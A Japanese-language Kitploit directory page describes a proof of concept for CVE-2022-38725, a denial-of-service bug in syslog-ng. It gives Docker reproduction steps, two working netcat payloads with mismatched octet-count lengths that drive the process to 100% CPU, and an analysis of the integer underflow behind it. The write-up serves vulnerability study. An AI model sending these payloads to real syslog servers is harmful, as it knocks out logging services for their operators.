Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-38725 — syslog-ng に対する CVE-2022-38725 の概念実証 | Kitploit
ツール/GitHubGitHub/wdahlenburg/cve-2022-38725
脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテストログ分析
GitHubwdahlenburg/cve-2022-38725

CVE-2022-38725

syslog-ng に対する CVE-2022-38725 の概念実証

リポジトリを見る
22年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-38725

CVE-2022-38725 は、syslog-ng バージョン 3.38.1 より前における、認証されていないサービス拒否 (DoS) の脆弱性です。

https://github.com/syslog-ng/syslog-ng/security/advisories/GHSA-7932-4fc6-pvmc

https://nvd.nist.gov/vuln/detail/CVE-2022-38725

再現手順

  1. 脆弱な Docker イメージをプルします:
root@kitploit:~
docker pull linuxserver/syslog-ng:3.36.1
  1. 脆弱な syslog-ng コンテナを実行します。他の syslog 設定を適用することもできますが、デフォルト設定は脆弱です:
root@kitploit:~
docker run -p 514:5514/udp -p 601:6601/tcp --rm -it linuxserver/syslog-ng:3.36.1
  1. ペイロードをサーバーに送信します:
root@kitploit:~
echo '27 <182>2022-08-17T05:02:28.217 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1
  1. 脆弱なホスト上で、syslog-ng プロセスの CPU 使用率が 100% に急上昇していることに気付きます

syslog-ng-CVE-2022-38725

分析

3.38.1 リリース は https://github.com/syslog-ng/syslog-ng/pull/4110 をリンクしており、これには単体テストといくつかの検証が含まれており、このバグの類似バリアントを防ぐためのものです。

元の issue には、根本原因を特定した有用なデバッグ情報が含まれています。

GitHub の勧告では、この脆弱性は従来の BSD syslog 形式である RFC3164 の不正な解析によって発生すると主張しています。勧告では、整数アンダーフローが発生する可能性があり、可用性以外への影響はないと考えられると説明されています。

脆弱性を修正するプルリクエストでは、RFC3164 と RFC5424 (新しい syslog 形式) の両方のタイムスタンパーサーに単体テストが追加されています。

RFC3164 仕様では、タイムスタンプを Oct 11 22:14:15 形式に一致させるよう定義されていますが、RFC5424 は ISO 形式 1985-04-12T19:20:50.52-04:00 を使用します。単体テストケースは、syslog-ng コードが両方の形式を解析しようとすることを示しています。GitHub 勧告では、RFC3164 メッセージの解析時に脆弱性が発生すると主張していますが、これは完全に正確ではありません。RFC5424 メッセージが可変長タイムスタンプの原因です。syslog プロトコルはメッセージタイプを明示的に指定しないため、syslog-ng プロジェクトは両方のタイムスタンプを解析しようとしました。これにより、不正な形式のタイムスタンプを持つ RFC3164 メッセージでも脆弱性がトリガーされる可能性があります:

root@kitploit:~
echo '21 <182>Oct 11 22:14:15.123 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1

syslog ソース は、RFC6587 で説明されているオクテットカウントを使用し、TCP メッセージで送信されるバイト数を syslog メッセージの前に付加します。

この脆弱性は、ISO タイムスタンプを完全に考慮していないメッセージサイズを送信することでトリガーされる可能性があります。syslog-ng コードはタイムスタンプを反復処理し、指定された長さから桁数を減算します。この不一致により、メッセージから読み取るデータがまだ残っているにもかかわらず、読み取り長が負になるアンダーフロー状態が発生します。

プロセスは while ループに進み、メッセージから文字を読み取ろうとしてスタックします。この問題により、特定のプロセスで CPU 使用率が 100% になります。攻撃者は複数のペイロードを送信して、追加のシステムリソースを消費する可能性があります。

syslog は UDP 上でオクテットカウントを使用しないため、上記のペイロードは異常な影響を与えません。syslog-ng コンテナ/プロセスを再起動すると、CPU 使用率はリセットされます。

補足

syslog-ng のメンテナの一人は、メッセージの途中で TCP RST を介してこれをトリガーできる可能性があると指摘しました。TCP RST の前に部分的なタイムスタンプを送信する必要があると指摘されています。これにより、オクテットカウントをバイパスできる可能性があります。

ツールをダウンロード